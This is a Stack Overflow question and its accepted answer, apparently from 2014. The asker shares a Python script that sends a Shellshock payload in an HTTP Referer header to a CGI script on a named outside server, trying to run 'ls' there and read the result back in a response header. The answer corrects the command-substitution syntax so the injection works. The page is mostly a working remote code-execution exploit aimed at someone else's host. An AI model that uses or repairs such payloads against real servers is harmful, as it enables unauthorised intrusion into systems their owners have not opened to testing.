How can execute bash command in server from http header using python?

Question

i have following script in python

headers = {'Referer': """() { :;}; y="($ls)";echo 'ls_result: '$y; """}
r = requests.get("http://manticore.2y.net/cgi-bin/dlwct.sh",headers=headers)

and

r.headers

is

{
'x-rdir': '""', 'x-vps': 'yes',
 'transfer-encoding': 'chunked',
 'server': 'Apache/1.3.29',
 'connection': 'close',
 'date': 'Thu, 23 Oct 2014 09:13:47 GMT',
 'ls_result': '()', 
'content-type': 'text/html'
}

when i passing y="(ls)" in header. i am getting 'ls_result': '(ls)' in response header. why $ stripping from my input? how can list directory in response header ? PS: this is for educational purpose

Barmar · Accepted Answer · 2014-10-23 09:23:35Z

2

The syntax for executing a command and assigning its output to a variable is:

y="$(ls)"

You had the $ inside the parentheses, it should be outside.

Note that your code will only execute the shell command if you haven't patched the ShellShock vulnerability.

answered Oct 23, 2014 at 9:23

Barmar

789k57 gold badges554 silver badges669 bronze badges

Sign up to request clarification or add additional context in comments.

Collectives™ on Stack Overflow

How can execute bash command in server from http header using python?

1 Answer 1

Comments

Your Answer

Hot Network Questions

Collectives™ on Stack Overflow

1 Answer 1

Comments

Your Answer

Sign up or log in

Post as a guest

Related